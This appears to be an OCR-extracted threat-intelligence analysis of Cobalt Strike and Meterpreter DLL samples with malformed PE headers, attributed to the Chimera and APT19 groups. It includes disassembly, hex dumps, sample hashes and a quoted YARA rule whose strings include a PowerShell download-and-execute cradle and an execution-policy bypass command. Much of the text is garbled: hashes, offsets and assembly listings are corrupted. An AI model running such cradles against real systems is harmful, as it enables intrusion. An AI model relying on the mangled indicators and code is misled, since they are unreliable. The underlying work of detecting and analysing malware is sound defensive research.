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Chimera, APT19 under the radar ?

Initital approach

At the beginning | studied a suspicious DLL uploaded on Anyrun, this
one have been tagged as "Malformatted PE header". By the fact that
some Threat Actor let theirs DLL with an invalid header for avoiding to
correctly run in sandbox or in AV sandbox and modify it for run by a
loader (side-loading with multiples files [Header + DLL], script for
rebuilding the header...).

As the first look, we can see the anomaly on the PE header based on
redirection to a part of malware.
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The timestamp is valid if we compare to the other sections (proving that
doesn't modified), the internal name in the import section and the
exported functions are the same that used by Meterpreter as reflective
loader method.
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Offset Mame Value Meaning

283C0 Characteristics 0

2A3C4 TimeDateStamp SE9A3GEC vendredi, 17.04.2020 23:08:28 UTC
2A3C3 MajorVersion 0

2A3CAH Minoriersion 0

2ABCC Mame 2B812 metsrv.dll

28800 Base 1

28804 MumberOfFunctions 3

28308 MumberOfMames 31

283DC Address0OfFunctions 2B4ES

2ABED AddressOfMames 2B62C

2A8E4 AddressOfMameOrdinals  2B770

Exported Functions [ 81 entries |

Offzet Ordinal Function RYV& Mame RVA Mame

2A8ER 1 18F0 2B31D Init

2A8EC 2 2500 2Ba22 Reflectiveloader

2A8FD 3 T3C8 2B333 buffer_from_file

2A8F4 4 Tol4d 26344 buffer_to_file

208F3 5 12068 2B853 channel_close

2ABFC B 12548 2B861 channel_create

28500 7 12648 2BET0 channel_create_datagram
28904 a 12704 2B833 channel_create_pool

205908 9 1264C 2BEAC channel_create_stream
2850C A 12424 2BEB2 channel_default_io_handler
28910 B 1275C 2B3CD channel_destroy

2A914 C 12F6C 2B2DD channel_exists

2A918 ) 12F4C 2BAEC channel_find_by_id

2A91C E 12400 2BEFF channel_get_buffered_io_context
28820 F 12850 2B91F channel_get_class

2A024 10 1287C 2B931 channel_get_flags

2A928 1 127FD 2B4943 channel_get_id

2AG92C 12 12818 2B952 channel_get_native_io_context
2A930 13 12844 2B970 channel_get_type

200934 14 12E50 2B981 channel_interact

2A938 15 12868 2B992 channel_is_flag

2853 C 16 12844 2B9A2 channel_is_interactive
24940 17 12474 2B9B9 channel_open

28944 18 12B3C 2B9CH channel_read

205948 19 129BC 2BAD3 channel_read_from_buffered
2A54C 14 129F0 2BSEE channel_set_buffered_io_handler
28950 1B 1285C 2BA0E channel_set_flags

On seeing the assembly code of the header, we can see the multiples

operation for parse by the stack pointer for load the export section which

content the Meterpreter shellcode.
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We can note the characteristic entrypoint of Cobalt Strike with the three
accepts calls and one close socket.

§== [FifEg
347: entry® (int64_t argl, uint32_t arg2, int64_t arg3d);
; var int64_t var_26h @ rspt@x2@
; var int64_t var_8h @ rspt+@x7@
; var int64_t var_1@h @ rsp+@x78
; var int64_t var_88h @ rsp+@xE8
; arg int64_t argl @ rcx
; arg uint32_t arg2 @ rdx
; arg int64_t arg3 @ r8
mov qword [var_8hl, rbx
mov agword [var_1ehl, rsi
push rdi
sub rsp, 8x20
mov rdi, rg ; argld
mov ebx, edx ; arg2
moy rsi, rex i arg
cmp edx, 1 ; reloc.Ws2_32.dl1l accept ; arg?

Jne ox180@1623d

call fen. 180012254

I—



https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/China/APT/Chimera/Pictures/ChimeraCHeader.png
https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/China/APT/Chimera/Pictures/entryCS.png

rg, rdi

edx, ebx

rex, rsi

rbx, gword [var_gh]
rsi, gword [var_1@h]
rsp, 0x2e

rdi

@x18001625¢

l

rax, rsp
gword [rax +
gword [rax +
dword [rax +
qword [rax +
push rsi
push rdi
push rid
sub rsp,
rsi,
ebx,
ri4,
edx, 1
dword [rax - @x48], edx
ebx, ebx
Ox180@16299

dword [@x18
Jne @x18@@16299

00341181, ebx

!

eax, eax lea eax, [rbx - 1]
@x180a1636b cnp eax, 1 ; reloc,ws2_32.d11_acecept
Jja @x1800162d9

mov rax, gword [@x1800243b8]

test rax, rax
Jje @x180@162b7

| —

edx, ebx

rax

edx, eax

dword [var_28h], eax

[ —

edx, edx
@x1808162d2

|
rg, rsi

edx, ebx ; int64_t arg3d
rex, rid ; uint32_t arg2
fen '

edx, eax

dword [var_26h], eax

eax, eax

@x1800162d9

‘rl

xor eax, eax rg, rsi ; int64_t arg3

Jnp @x180816360b edx, ebx ; int64_t arg2

rex, ri4 ; int64_t arg

fen.1 2c

edi, eax

dword [var_2eh], eax

ebx, 1 ; reloc.Ws2_32 . dl1_acecept
@x180016325

eax, eax
0x188@16325

Il

mov rg, rsi ; int64_t arg3d
xor edx, edx ; int64_t arg2
moy rex, rl4 ; int64_t arg
call fen. 1 2c
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; int6a_t

[var_8sh]

We can observe the SMB pipe used as pivoting method for the implant to
run.
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0x18000a7be
0x18000a7c2
0x18000a7c9
0x18000a7cd
0x18000a7d0o
0x18000a7d5
0x18000a7d8
0x18000a7dd
0x18000a7e2
0x18000a7e6
0x18000a7eb
0x18000a7ef
0x18000a7f3
0x18000a7f5
0x18000a7fd
0x18000a800
0x18000a803
0x18000a80a

0x18000a810

This collects the system informations and format for send it the previous

node.

lea r8, [rbx + 8]

lea r9, str.s__pipe s ; 0x180023a08

lea rdx, [rbx + 9]

mov rcx, rax

mov gword [rsp + 0x28], ri4

mov gqword [rsi], rax

mov gword [rsp + Ox20], ri5

call fcn.180015054

mov rcx, qword [rsi + 8]

mov ebx, 0Ox57 ;o 'w' o, 87
lea rax, [rcx - 1]

cmp rax, OXfffffffffffffffd

ja 0x18000a812

lea rdx, [rsp + 0x450]

xor r9d, rod

xor r8d, ra&d

mov dword [rsp + 0x450], edi

call gword [SetNamedPipeHandleState]
SetNamedPipeHandleState(HANDLE hNamedPipe,
lpMaxCollectionCount,

jmp 0x18000a84b

0x1800233f8
LPDWORD lpMode,
LPDWORD 1lpCollectDataTimeout)
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Ox180007ff7 lea rcx, [rsp + 0x40]

0x180007ffc mov edx, 0x104 ; 260

0x180008001 call gword [GetSystemDirectoryW] ; 0x1800232a0 ; UINT
GetSystemDirectoryW(LPWSTR lpBuffer, UINT uSize)

0x180008007 test eax, eax

0x180008009 je 0x1800080ba

0x18000800f lea edx, [rsi + Ox5c]

0x180008012 lea rcx, [rsp + 0x40]

0x180008017 mov dword [rsp + 0x480], 0x104 ; 260

0x180008022 call fcn.180015078

0x180008027 mov dword [rsp + Ox38], esi

0x18000802b mov gqword [rsp + Ox30], rsi

0x180008030 lea r9, [rsp + 0x488]

0x180008038 lea rcx, [rsp + 0x40]

0x18000803d xor r8d, r8d

0x180008040 xor edx, edx

0x180008042 mov qword [rsp + 0x28], rsi

0x180008047 mov word [rax + 2], si

0x18000804b mov qword [rsp + Ox20], rsi

0x180008050 call gword [GetVolumeInformationW] ; 0x1800232b0 ; BOOL
GetVolumeInformationW(LPCWSTR lpRootPathName, LPWSTR lpVolumeNameBuffer,
DWORD nVolumeNameSize, LPDWORD lpVolumeSerialNumber, LPDWORD
1pMaximumComponentLength, LPDWORD lpFileSystemFlags, LPWSTR
1pFileSystemNameBuffer, DWORD nFileSystemNameSize)

Ox180008056 lea rdx, [rsp + 0x480]

0x18000805e lea rcx, [rsp + 0x250]

0x180008066 call gword [GetComputerNameW] ; 0x1800232b8 ; BOOL
GetComputerNameW(LPWSTR lpBuffer, LPDWORD nSize)

0x18000806Cc mov ecx, dword [rsp + 0x488]

0x180008073 lea r8, [rsp + 0x250]

0x18000807b movzx eax, CX

0x18000807e mov qword [rsp + 0x30], r8

0x180008083 shr ecx, 0x10

0x180008086 mov edx, 0x104 ; 260

0x18000808b mov dword [rsp + 0x28], eax

0x18000808f mov dword [rsp + Ox20], ecx

0x180008093 lea rcx, [rsp + 0x40]

0x180008098 lea r9, str.04x_ 04x:_s ; 0x180023940 ; Format the data
0x18000809f lea r8d, [rdx - 1]

Looking at the TTPs and the anomaly on the PE header, | make the
parallel with the APT chimera report, a group that targeted the semi-
conductor sector in Taiwan. | had written the Yara rule with the full part of
the anomaly and posted on Twitter.

Hunting

Few times after release a compact analysis, | think to use my Yara rule for
hunting additionals samples with differents levels on condition, for detect
if by example, a new variant reuse a part of the indicators (which can be
the oldest or more recent). By the way of improving this specter of results
and reduce the load on the Yara rule, | have removed a part of the
anomaly just before the manipulation of the RSP (stack pointer).
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Due to the numbers of results, | had only got last month of hits on
Virustotal but quickly some different types of Cobalt Strike are identified

in two major famillies :

o With the standard ReflectiveLoader reference in export table.

o Have not the reference but use custom way by ordinal or execute

function.

The last one has been splited between recent (2019-2020) and old (2017-
2018) for links to the period of samples analyzed on the chimera report

(maybe a variant not analysed).

The first result in the compiled the informations on the samples in the
different groups, show that multiple pairs of samples can observed with
the same VHash, date of compilation of the DLL and size of the files.
VHash being based on imports, exports and the header for the PE, this
insensitive unlike a simple modification of an IP address of a payload and
allow to confirm that reuse the code.

SHA-256 Vhash File type  File size

c50a67746b3b10a5961f1dfbd1acccd 32f0adff049fbd 7edfGedT3cBf90bc 185 125056651d15555143232271721dz312900157z  Win32 DLL  196.00 KB (200704 bytes)
681412c7ead2a551a6ff11f0a25288629322a32d 7300907 efd6a81972465260 125056651d1555514324227821dz312900156z1  Win32 DLL  197.00 KB (201728 bytes)
c9eb49f7cad790834148caef3718b55ddd964edIeabc3b90elfa5f3dcfba37da  125056651d1355514324227821d2312900156z1  Win32 DLL  197.00 KB (201728 bytes)
222a38b7a34bf52deadbcdbb3dd30a25hBb2485a684c42fT02d237f2e00bfb29 125056651d1555514324227821d2312900156z1  Win32 DLL  196.57 KB (201283 bytes)
3aef302e18ec731262bT9beadb77eb5d40ce6928484425bb5ef6cd17189deect  123056651d1355514324227821dz312900156z1  Win32 DLL  197.00 KB (201728 bytes)
focebbdelddct1fdcedBlcT3d24274dbe3f 27076 42fT6fcabeb8Oebecb1965d  125056651d1555514324227821d231290015621  Win32 DLL  197.00 KB (201728 bytes)
3dB842f42a7 caadel8BadcTa2BefB66a0ac1e0f75bed20beed99ccT3838adB507  125056651d1555514324227821d2312900156z1  Win32 DLL  197.00 KB (201728 bytes)
e00f032ddecf958b9eddfbddIca52fddedTb25a260ab0BeBd2fBdAf 174f8c344  125056651d1555514324227821d2312900156z1  Win32 DLL  197.00 KB (201728 bytes)
b2ebbcdd700e0ac2e0b54e35399f95f389a6c206c2c1236287ded8757c89bFB0  123056651d1355514324227821dz31290015621  Win32 DLL  197.00 KB (201728 bytes)
10b5edefDbIc5d7857ad462c4c3fd531b1793a37Tbd366f9cbbcbbT5289858aab  125056651d1555514324227821dz312900156z1  Win32 DLL  197.00 KB (201728 bytes)
76e6b9102ed4d048f cdcbde567cdd50754fd3ed52f ThaSc 1bdcfcecBocbel20b  123056651d1355514324227821d2312900156z1  Win32 DLL  195.50 KB (200192 bytes)
e8b94f00131ffad10638c7f3e323ae501e2164b101f9544eb91678ff cfBebbb9 125056651d1555514324227821dz312900156z1  Win32 DLL  197.00 KB (201728 bytes)
f2de9a3fclclfcB2celaasc22baci52302da903840124b895131842a98f01bd6  125036651d1555514324227821d231290015621  Win32 DLL  198.00 KB (202752 bytes)
87%ecTc5e7340c99cha1380342cdcddBd0eddeallecSbad14fbf31becad25003  125056651d1555514324227821d2312900156z1  Win32 DLL  197.00 KB (201728 bytes)
78609632431 ecadfeT24a9c2b050fcbec17a1a7fd5363bf3504301eldfSbe 125056651d1555514324227821d2312900156z1  Win32 DLL  197.00 KB (201728 bytes)
339bd08af13367befffbcde3aBb32d863735710cac210758cb9d2Theed3991e8  125056651d1555514324227821d2312900156z1  Win32 DLL  196.57 KB (201283 bytes)
cfc7bbaBad0959f4ea3fibbf004922a93961938008b61279567f 1bddf1a7bc0b 125056635d1555115828drza0016621 Win32 DLL 254,88 KB (261000 bytes)
dd2192fad12326fdd33451a9329f3bcbedB81808f cfb5648aTcad0cdf50393ce  125056651d1355514324227821dz312900156z1  Win32 DLL  197.00 KB (201728 bytes)
6 B9ff130f4169e8a67332a0fd55b6cIbedalbb19b1332ddc07d%a860538bab  125056655d15555153242273721d2312900185251  Win32 DLL  202.00 KB (206848 bytes)
TddfeeebTbdbel5ddc15c1fbdB92e7d3ffOeaBeedd02d5f426d30cBa1baBad57  125056655d15555153242273721dz312900185251 Win32 DLL  202.00 KB (206848 bytes)
56bdf2077eBe54ed 7fBa5a3102c4052a%0db2d0871 cedlafb293d7Bf42207222  125056655d155512928frzall16621 Win32 DLL = 254.50 KB (260609 bytes)
d03f975148e13019971f60857322ce49b923aelcabdd77cd282bI7F df 39063 125056655d155512928frzal0166z1 Win32 DLL  256.00 KB (262144 bytes)
d352c4b9852fb132913f526cdJaeld68291b288a30a3c5dfe810aleadaeli1bl  125056655d155512928Frzall166z1 Win32 DLL 256,00 KB (262144 bytes)

Now, this the time that each analyst hate, the time to found the samples
(Ask to Virustotal theirs prices for get the samples and cry). Fortunately,
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almost a sample of each pair could be found on the public sandbox (36
samples on 74).

At the first sample analysed, the sample content the same combo Cobalt
Strike and Meterpreter but have a persistence method by .NET client by
local IP, localhost (in the infrastructure) or with an external IP or domain
(initial compromisation point).

could not run command (;
EFGHI

In searching in the archives that match with the TTPs and the strings, |
found the Yara rule of APT19 that use a combo Cobalt Strike +
Meterpreter as implant for pivoting the infrastructure of the victim.

Yara Rule Set

Author: Ian.Ahl@fireeye.com @TekDefense, modified by Florian Roth
Date: 2817-86-85

Identifier: APT19

Reference: https://w ireeye.com/blog/threat-research/2817/86/phished-at-the-request-of-counsel.html

rule Beacon_KSom {
meta:
description = "Detects Meterpreter Beacon - file KSom.dll™
license = "https://creativecommons.org/licenses/by-nc/4.8/"
author = “"Florian Roth"
reference = "https://www.fireeye.com/blog/threat-research/2017/86/phished-at-the-request-of-counsel. html™
date = "2817-Bb-87"
hashl = "e3484Fd2ccTefe@2cfT76841630892e4baed3daselef2bSacdelnnifiadd7besd”

strings:
$x1 = "IEX (New-Object Net.Webclient).DownloadString('http://127.8.8.1:%u/'); %s" fullword ascii
$x2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
$x3 = "%d 1s an %86 process (can't inject %64 content)" fullword ascii
$s1 = "Could not open process token: %d (%u)" fullword ascii

$s52 = "@fdeeb.dll" fullword ascii
53 = "%s.4XOBxHBBKIOBAHOBxHKBB: . XOBKAABHOBHHOZ(HAEXOBHABx . HOBHHOZ(HBEHBOBHHOBNHOBAHOBx . KOS HOB KA HBOBHHOBxHBBHHOBx . Koot . Hs" Fullword ascii
%<4 = "Could not connect to pipe (%s): %d" fullword ascii
condition:
( uintl6(@) == @x5add and filesize < 688KB and ( 1 of ($x*) or 3 of them ) )

This uses an well-known fileless UAC bypass using Event Viewer
technique and maintain the persistence in the key, this spawn a
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Meterpreter instance in loading the DLL inside the beacon, we can
recognize the part for initiating the communication in getting the system
informations.
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196: (int64_t argl, int64_t arg2);
; war

; var u_short var_22h @
; var int64_t var_24h @
; war int64_t var_3eh @
; var int64_t var_18h @
; var int64_t var_2eh @
; arg int6é4_t argl @ rc
; arg int64_t arg2 @ rd
mov gword [var_18h], rbx

mov gword [var_2ehl, rbp

push rsi

push rdi

push ri4

sub rsp, @x40

mov rax, gword [0x18003de3e]

Xor rax, rsp

mov gword [var_3@hl, rax

Xor rgd, rad ; int protocol

mov esi, edx ; arg2

mov rdi, rcx ; argl

lea riad, [rg + 2]

lea edx, [rg + 1]

mov ecx, rldd ; int af

call sub.¥ dll_socket ; SOCKET socket(int af, int type, int protocol)
or rbp, @xfffffffffffreeee

mov rbx, rax

cmp rax, rbp

jne 0x18000ee@2

0 e ® A

]

; const char #name
b Ws2_32.d11 _get byname ; hostent #gethostbyname(const char #name)
rax, rax
2x18800edfd

]

rdx, gword [rax +

rg, word [rax + @x

rex, [var_24h]

rdx, gword [rdx]

fen . 18

ecx, si ; u_short hostshort

word [namel, ridw

sub 2_32.d11_htens ; u_short htons{u_short hostshort)
rdx, Cname] ; const sockaddr #name

réd, exiae ; reloc.WS2_32.dll_recv ; int namelen
rex, rbx ; SOCKET s

word [var_22h], ax

L dl1l_connec ; int connect{SOCKET s, const sockaddr #name, int namelen)
eax, eax

Bx1E0@0eess

mow rcx, ; SOCKET s
call sub 32.dl1 _cle t ; int closesocket(SOCKET s)
jmp @x18eeeedfd

Ll

rax, rbp
@x180@eeesc

I

mov rex, gword [var_3eh]
xor rex, rsp

call fen. 180812200

mov rbx, gword [var_18h]
mov rbp, gword [var_2eh]
add rsp, @x4e

pop ri4

pop rdi

pop rsi
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But now this beginning to become interesting, in comparing the both PE,
we can observe a lot of differences on the structures of the payload due
to the comparison is between each byte on the sequence order but the
structure have common bytes in the anomaly in the header path.

1 HB8e39e97did31bb434618acab%he 13ca 142 Bed5d84b6b Teec2ad51e0708d52 bin | Comparing 262,144 bytes starting from 00000000 (0)
0O0AABAAA | 4D 5A 41 52 55 48 89 E5 48 81 EC 20 0O 60 80 48 | MZARUHESH 1 H | sRelliE %
0088AA1F | 8D 1D EA FF FF FF 48 89 DF 48 81 C3 F4 63 81 jg@ #ijijijHEDH Adc 51 IHEEIE
00880AZA | FF D3 41 BR FO B5 n2 56 68 B4 60 6@ @8 5A 48 89 | jj0A_dpcvh ZHE | === g
0BAEAEA3A | FY FF DA 80 OO A @0 AA 0@ 60 B0 BA F8 @0 60 A8 | Ui a ) a
0O80EB4A | BE 1F BA BE 60 B4 B9 CD 21 BS 81 4C CD 21 54 68 e 7 fr, LitTh | pp s=iseg
00000050 | 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F | is program canno | gRyisaEs
00000060 | 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 28 | t be run in DOS | < EMEESA {H-
pO8Aee78 | 6D 6F 64 65 2E 8D BD BA 24 0O 60 68 06 60 88 08 | mode. § B S
POePEA8A | 8C 6B 6E 52 C8 BA 08 61 C8 OA @0 B1 C8 BA B8 61 | MknRE  E E yEE} AS AT A
00000890 | AE E4 D2 01 50 0 00 ©1 56 AR C7 01 C9 BA B0 01 | ®@H0 P uag E NG [ AJ LETA
POBAEBA8 | 39 CC CF 1 E1 BA BB 81 39 CCCE 81 48 @A @8 61 | 9if 4 oIl @ B o dts da
POEAEEBA | 39 CC CD A1 C2 BA AA B1 C1 7293 81 c3 @A @@ o1 | 9ii A Arm A HigAgiEc A
000008CO | C8 A 01 61 14 0A 00 ©1 AEESCE 01 FD A BB O1 | E @& 9 sWANSOA
9O60E6EDA | AE E4 CA B1 C% BA 08 61 AE E4 CC B1 C9 BA 88 @1 | BHE £ ©E0 E ENAARRCIA
POBAEBED | 52 69 63 68 C8 OA 0 61 G0 09 60 0 08 60 88 08 | RichE |G A
POEPE6EFE | 0O 60 66 A8 60 B8 0 B SO 45 @0 BA 64 86 B5 08 PE di =
0008080100 | AD F1 E8 5D 00 0O 60 00 00 60 00 68 FO 80 22 A6 | fid] 8" | mE 8
fO6A61108 | BB 62 BB A8 60 A2 02 60 66 F4 61 B8 08 @0 B4 68 ¢ @ i %
9808128 | D4 BA 81 B8 60 16 08 60 G0 9 60 88 01 60 86 08 | 02 £ = o 18
3dB4X 425 caade88adcTa28ef 866a%ac 1elf 7hbe929%eed 99cc 73838ad 8507 bin | Comparing 201,728 bytes starting from 00000000 (0)
0080AAA7 |[4D 5A 41 52 55 48 80|E5 48 83 EC 28 48 83 E4 FO | [EGGUNLIAHET HEES | ERelcs 78
0OAAE6E10 | ES B0 B9 B8 B0 5B 48 81 C3 B7 57 B@ OB FF D3 48 | & [H fi-w ii0H | & jZ=wap
0OAAAAZA | 81 C3 34 B6 B2 @A 49 89 D8 6A 84 5A FF DO 6O 88 | Auq  IMAj Zijp 52 imye
fOAAEA30 | A 6O B9 A8 B0 A AA B0 B OO @0 BA FA @0 AA 68 ] ]

|| | e@eeee40 | BE 1F BA BE B0 B4 89 CD 21 B8 81 4C CD 21 54 68 e 7 fr, LitTh | pp s=iseg
& | 6oeeaBse | 69 73 280 7@ 72 6F 67 72 61 6D 28 63 61 6E 6E 6F | is program canno | EREREaSES
& = | 000pea60 | 74 20 62 65 28 72 75 6E 20 69 6E 20 44 4F 53 20 | t be run in DOS | ¢ ENEERE -
8O8AAB7A | 6D 6F 64 65 2E 8D BD BA 24 0O 60 68 0O 60 68 A8 | mode. § b Tl
| 0OAAEA8A | DE CA1A 5B 9A A1 74 B8 9n A1 74 B8 9a A1 74 B8 | bA [N;t Nt Bt | &g 20 8
00B0BA98 | DC FO 95 B8 BE A1 74 B8 DC FO 94 B8 E1 A1 74 08 | Ul %;t Uom d;t | maom
000008A0 | DC FO AB 88 90 A1 74 08 93 D9 F3 08 9B A1 74 08 | lide ;t WO M.t | E:S0 EEE
| | 0000068B0 | 93 DY E7 68 8B A1 74 B8 9A A1 75 08 SF A1 74 08 | mic N;t N;u _;t | WRip %03
0000068CH | 97 F3 94 88 86 A1 74 08 97 F3 AS 08 9B A1 74 08 | NG N;t BG” Nt | WMl
00000800 | 97 F3 AR B8 9B A1 74 B8 52 69 63 68 9A A1 74 68 | M62 N;t RichE;t | M5 @R
POEPEEES | A 60 66 A8 60 B0 08 60 06 0O @0 AA 08 @0 BA 68
|| POBAEBFA | 58 45 @8 A8 64 86 S B 91 AE F6 SE 00 60 68 08 | PE dN “®i" %= B T
| fOeA6100 | 0O 60 B8 A8 FO B8 22 20 OB 02 6C A@ 08 12 B2 68 i am
= PO6A61108 | B8 46 81 A8 60 69 PG B CH 56 61 B0 08 10 88 08 | F fiv E ®o
aoAQAo4120 a0 A0 oA 20 6041 Of OO0 OO0 G0 10 G0 A0 OO0 09 A0 GO £ [TE - R}

We can see the differences on the implementation of the stack pointer in
using destination index for copy the data of the instructions for load the

shellcode of the Meterpreter DLL.
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Hex Disasm

After this | have created a little script for extract each first part of PE
header (4D 5A to 00 00 00 OE), get all unique the signature, attribute an ID
to the signature an this time, attribute all the ID generated to the samples
that have the same signature for display pairs of samples with the same
modifications. On the results, we note all the samples have splited in two
sections in having the same similarities in the header of the PE (here on
the samples with content the ReflectiveLoader reference).
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By seeing the comparison between several samples of the same pair, we
can note a code reuse at 98% between each sample, only the 2% which
remains are due to the declaration or not of the IP address or domain for
the pivot. This explains by the fact of the sample as compiled at the same
time or use the same template like Cobalt Strike is a template that can be
edited for use a custom DLL to load. Here on a pair of the Chimera

samples :

fspegelafsgs ]
gopaee18
gopaBee28
gopaee38
gogaee48
fepaBeas 8
Be0aB66 8
BepaBea7 8
s pide fafs ]
gepaBee98
gepaBeeA 8
fepaBeB 8
gepaBeace
gepaBeeD 8
Be0aBBE B
Be0a0B6F 8
geea81 88
AAAARTAA

5A
80
c3
80
1F
73
28
6F
co
Fo
Fo
Do
F3
F3
80
u5
80
hh

55
ae
a2
ae
a8
72
28
2E
oA
BE
98
8B
86
9B
a8
64
Fa
AR

EC
57
o
a8
a1
28
6E
a8
L
94
F3
75
1]
63
a8
Fé
ac
A

Eh

Fa
48
a8
a8
68
6F
28
a8
a8
a8
a8
a8
a8
a8
a8
a8
a8
AR

MZARUHESHEL HE&5
& [HA-W ijiH
fing 1m8j 2ijp

i

LitTh
is program canno
t be run in DOS
mode . 5

pA [H;t B;t
iim %;t iiam
iide ;t mDA
mig E;t B;u
NGE N;t N6
N62 Wt Richl;t

o " i
o It

I;t
a;t

PE dE @i"
"

F AU

3d84 X425 caade188a4c Ta28ef B66a9ac 1ef 7obeS25%beed 39cc 73838ad 8507 bin | Comparing 201,728 bytes starting from 00000000 (0)

{EsE i
e i 5
= e
[i]
R SR

lspedefafs]s ]
gepaBee18
gepaBe628
gepaBee3 8
gepaBeBa48
fepaBeas 8
Be0aB66 8
BepaBea7 8
s pide fafs ]
gepaBee98
gepaBeeA 8
fepaBeB 8
gepaBeace
gepaBeeD 8
Be0aBBE B
0opoBeere
oopoe108
oopgee118
oopoee128
oopee138

4D

5A
80
c3
80
1F
73
28
6F
co
Fo
Fo
Do
F3
F3
80
u5
00
u6
00
00

41

52

55
a8
82
a8
a8
72
28
2E
oA
BE
98
8B
86
9B
a8
64
Fa
ae
a1
ae

48

89

ES

48

83

EC
57
au
a8
a1
28
6E
a8
L
94
F3
75
1]
63
a8
Fé
oc
54
515}
02

20

Same result on a pair of the APT19 samples :

10b5edeb0b9c5d 7857a4462c4c Hd531b 179323 bdI66F Ichb 6cb 6 75283858aab bin | Comparing

Fa
48
a8
a8
68
6F
28
a8
a8
a8
a8
a8
a8
a8
a8
515}
515}
515}
515}
515}

MZARUHESHEL HE&3
& [HA-W ijoH
fing 1m@j 2ijp

a

e " f+ LitTh
is program canno
t be run in DOS
mode . 5
pA [H;t B;t
iiam %;t Usm a;t
iide ;t mDA
mig E;t B;u
NGE N;t N6
N62 Wt Richl;t
PE dm ‘@5

i~
F Av
£

201,728 bytes starting from 00000000 (0)

s L |
e g
= s
ii
R SR
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v H8=39e97dfd3 1bb4346 1 8acabdbe 13ca 142 8ed5d84b6b 1eec2ad51e0708d52 bin | Comparing 262,144 bytes starting from 00000000 (0)
900AAAAA | 4D S5A 41 52 55 48 89 E5 48 81 EC 20 00 08 00 48 | HZARUHESH i H| spells &
90088818 | 8D 1D EA FF FF FF 48 89 DF 48 81 C3 F4 63 81 0@ BijijijHEDH Adic 51 HIEE
00A0A620 | FF D3 41 B8 FO BS5 A2 56 68 B4 60 A0 0O 5A 48 89 | ji6n_ apcuh ZHE | =@zm R
00APAG38 | F9 FF DA AP OO 60 GG B0 B8 68 60 6@ F8 BA 0O 60 | Lijp 8 p 8
000688048 | BE 1F BA OE @8 B4 89 CD 21 B8 81 4C CD 21 54 68 e T fr, LitTh | np s=meseg
0080ABSA | 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F | is program canno | $pmgusss
008PAB6A | 74 20 62 65 20 72 75 6E 28 69 6E 208 44 4F 53 20 | t be run in DOS | * FHEESA -
000008070 | 6D 6F 64 65 2E 6D 6D OA 24 00 0O 06 00 60 60 A9 | mode. § e §
90AAAA8A | 8C 6B 6E 52 CB 0A BB 61 C8 OA 0O B1 C8 6A @0 o1 | BknRE E € TEl AZAZ A
80800898 | AE E4 D2 81 56 BA 66 81 56 AA C7 81 C9 BA 00 01 | B30 P vag E B3 [ AD LEIA
0AAABAAN | 39 CC CF 81 E1 8A 68 61 39 CC CE A1 uw@ 8p 88 a1 | 9iT &  oif @ B aafE da
POBAEBBA | 39 CCCD 81 C2 BA @B B1 C1 7293 81 c3 Ban aa @1 | 9ii A Arm @ HAg A A
800886CH | C8 @A 81 01 14 0A BB 81 AEE4CE 81 FD BA OB 81 (E  @&T § 3aWANZ0A
009068000 | AE EA CA 61 C9 BA 00 01 AE EACC ©1 C9 BA 60 o1 | @5E E  ©HI E [N
AAARAAFA | 52 A0 A2 AR R AR AA A1 AR AA AR AR AR AR AR AR | RichF 1 A
000ABAAA | 4D 5A 41 52 55 48 89 E5 48 81 EC 28 00 60 09 48 | HZARUHEEH 1 H| el &
00BPRG1C | 8D 1D EA FF FF FF 48 89 DF 48 81 C3 F 63 81 68 BijijiHEDH Adic s 1 IHHEIE
008PA628 | FF D3 41 B8 FO B5 A2 56 68 B4 60 A0 00 5A 48 89 | {i0A_&pcun ZHE | ===z E
008PAG38 | F9 FF DO 0 00 00 66 B0 66 8@ 6@ 6@ F8 00 00 00 | LijD 8 p 8
90000040 | BE 1F BA OE @9 B4 09 CD 21 B8 81 4C CD 21 54 68 e 7 fr, LitTh | np Sosesear
00APAOSA | 69 73 20 78 72 6F 67 72 &1 6D 20 63 61 6E 6E 6F | is program canno | gesyi=tsms
00APAOAA | 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 | t be run in DOS | - GHEESR -
000ABA7A | 6D 6F 64 65 2E BD 6D BA 24 60 0O A8 A6 80 60 00 | node. i@ §
00AABASA | 8C 6B 6E 52 CB BA A 81 C3 BA PO A1 CE BA @A A1 | BknRE E E VR AZAZA
80088090 | AE E4 D2 01 50 0A B8 81 56 AR C7 81 C9 BA 08 81 | B0 P U3g E N& [ AJ LLIA
0000ABOA0 | 39 CCCF 61 E1 A B0 01 39 CCCE 81 ue vp @0 61 | 9iT & voil @ B aadts da
POAAEEBA | 39 CCCD 81 C2 A @O B1 C1 7293 81 c3 Bp @@ o1 | 9ii A Arm @ FHigAtiEc A
808666CH | C8 6A B1 81 14 8A 66 81 AE EACE 81 FD BA B8 81 | E @il § izWamzOA
90AABADA | AE EA CA 61 C9 BA B8 81 AE EACC 01 C9 BA @@ o1 | @5E E  ®HI E WA Enjca
POAABPEA | 52 69 63 68 CB OA 0O 01 OO 00 00 A6 0O 60 80 00 | RichE 85 A
0AAABAFA | 60 B0 0O A0 09 60 0A A8 5@ 45 A0 A8 64 86 A5 0 PE dE =
00APA108 | AD F1 E8 SD OO 00 60 B0 68 68 B0 B8 FA 6O 22 AR | fie] IR S
00006110 | 6B 62 OB 09 00 AZ 62 PO 06 F4 61 A0 0O 60 60 0O ¢ B i An
0000668120 | D4 BA 61 00 00 10 0P 09 OO0 60 00 80 ©1 60 60 A9 | io € 2 o 18

| 00006130 | 661000000002 00000500020000000000 ™ A
90AAA14A | B5 B0 02 G0 0O GO 00 A0 04 CO A4 AG 0O 84 00 0O A ¥ e
90AAA150 | B0 B0 00 A8 02 60 60 61 0O 60 10 A0 0O 60 A0 0O : [ |
900AA160 | BO1PAAADAEOADAR0ARAN1ABARAAAAADA ™

Liking said previously only the configuration change but the rest is the
same due to this build on a template.
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80036D86 | G0 69 00 OB 9O 00 B0 B0 00 90 OO B8 0O GO 68 AA
00830090 | OO 09 G0 00 00 00 0D B9 00 09 00 DO 00 00 B0 90
000836DAG | B0 B0 B0 OF ©BO 60 0B B0 0O B0 B0 B8 B6 6O B0 90
000836DBE | B0 09 B0 6@ B0 60 0B B0 0O B0 0O B8 B0 60 B0 90
80036DCH | B0 B9 00 OO 9O OO0 B0 B0 00 90 OO B8 0P GO 68 AA
